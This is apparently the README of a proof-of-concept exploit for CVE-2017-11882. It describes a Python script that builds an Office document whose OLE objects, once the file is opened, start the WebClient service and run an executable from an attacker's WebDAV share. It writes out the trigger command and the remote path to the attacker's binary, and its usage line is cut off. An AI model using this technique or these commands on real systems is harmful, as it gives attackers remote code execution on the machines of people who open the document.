

coc3qhrk0h00410

webdav_exec CVE-2017-11882

A simple PoC for CVE-2017-11882. This exploit triggers WebClient service to start and execute remote file from attacker-controlled WebDav server. The reason why this approach might be handy is a limitation of executed command length. However with help of WebDav it is possible to launch arbitrary attacker-controlled executable on vulnerable machine. This script creates simple document with several OLE objects. These objects exploits CVE-2017-11882, which results in sequential command execution.

The first command which triggers WebClient service start may look like this:

cmd.exe /c start \\attacker_ip\ff

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Attacker controlled binary path should be a UNC network path:

\\attacker_ip\ff\1.exe

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Usage

webdav_exec_CVE-2017-11882.py -u trigger_unc_pa

Sample exploit for CVE-2017-11882 (starting calc.exe as payload)

• Python 100.0%

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